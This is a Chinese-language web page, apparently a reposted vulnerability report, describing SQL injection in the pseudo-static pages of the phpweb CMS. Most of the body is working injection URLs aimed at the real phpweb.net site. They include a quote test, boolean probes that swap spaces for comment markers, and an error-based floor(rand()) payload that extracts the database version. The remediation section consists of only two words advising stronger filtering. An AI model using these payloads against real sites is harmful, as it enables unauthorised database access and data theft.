网站地图    收藏   

主页 > 后端 > 网站安全 >

phpweb伪静态页面注入及修复 - 网站安全 - 自学p

来源:自学PHP网    时间:2015-04-17 11:59 作者: 阅读:

[导读] phpweb所有的整站程序伪静态页面都存在sql注入主站:http://phpweb.net/加rsquo;检测:http://www.phpweb.net/down/html/?772prime;.html出错存在注入。不能用空格,只能用/*罗http://www.phpweb.net/page/htm......

phpweb所有的整站程序伪静态页面都存在sql注入
 
主站:http://phpweb.net/
加’检测:
 
http://www.phpweb.net/down/html/?772′.html
 
出错
存在注入。
不能用空格,只能用/*罗
http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常
 
http://www.2cto.com /page/html/?56′/**/and/**/1=2/*.html 出错.
数据库版本:
 
http://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html
更新日期: 2013-01-03 13:39:50
 
www.2cto.com修复方案
 
加强过滤
 

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论